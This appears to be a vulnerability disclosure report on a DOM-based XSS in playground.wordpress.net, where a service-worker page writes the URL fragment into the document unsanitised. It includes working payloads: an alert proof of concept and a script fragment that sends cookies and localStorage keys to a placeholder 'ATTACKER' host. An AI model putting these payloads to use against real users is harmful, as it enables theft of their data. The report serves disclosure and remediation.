WordPress · Report #3863343
DOM-based XSS in playground.wordpress.net (/scope:*/wp-includes/empty.html) lets any attacker run JavaScript on the origin via a single crafted link
How it was found
{F6253117}
Summary
A single click on an attacker-crafted playground.wordpress.net link executes arbitrary JavaScript in the site's own origin. The origin's service worker synthesizes a page that runs document.write(decodeURIComponent(location.hash)), so the URL fragment is written into the document with no sanitization and no Content-Security-Policy. I confirmed live execution on the real top-level origin and cross-origin exfiltration of the origin's document.cookie and localStorage to an external server. The payload lives entirely in the URL fragment (#…), so it never reaches the server and is invisible to server logs and WAFs. No authentication is required.
Vulnerability Details
The service worker https://playground.wordpress.net/sw.js (function dc()) intercepts any request whose path ends /wp-includes/empty.html beneath a /scope:<id>/ prefix and returns this static, no-CSP page:
<!doctype html><script>
const hash = window.location.hash.substring(1);
if (hash) document.write(decodeURIComponent(hash));
</script>
location.hash is attacker-controlled → decodeURIComponent → document.write = a DOM-based XSS sink executing on the real playground.wordpress.net origin. The <id> in /scope:<id>/ is arbitrary and unvalidated. Upstream WordPress ships wp-includes/empty.html as a blank file; this executable behavior is introduced by Playground’s service worker.
Steps to Reproduce
- In any browser, open
https://playground.wordpress.net/once and let it load. This registers/activates the service worker — the precondition is satisfied for anyone who has ever used Playground. - In the same browser, open (or click a link to):
https://playground.wordpress.net/scope:x/wp-includes/empty.html#%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E→alert("playground.wordpress.net")fires on the real origin. Verified:window.top === window.self(top frame, not the sandbox iframe) and no CSP on the response. - Data-theft proof — open the same path with this fragment (URL-encoded):
#<script>fetch('https://ATTACKER/?c='+encodeURIComponent(document.cookie)+'&l='+encodeURIComponent(Object.keys(localStorage)))</script>→ my listener received the request with headerOrigin: https://playground.wordpress.net, carrying the origin's cookies andlocalStoragekeys. Confirmed via Burp Collaborator (cross-origin exfiltration succeeded — no CSPconnect-srcrestriction).
Impact
Any attacker who gets a victim (who has previously used Playground — the tool's entire user base) to click one link runs arbitrary JavaScript in the playground.wordpress.net origin. The attacker reads and exfiltrates all origin-scoped storage, tampers with the victim's persisted Playground sites, performs actions as the victim, and can serve convincing phishing from a trusted wordpress.net origin.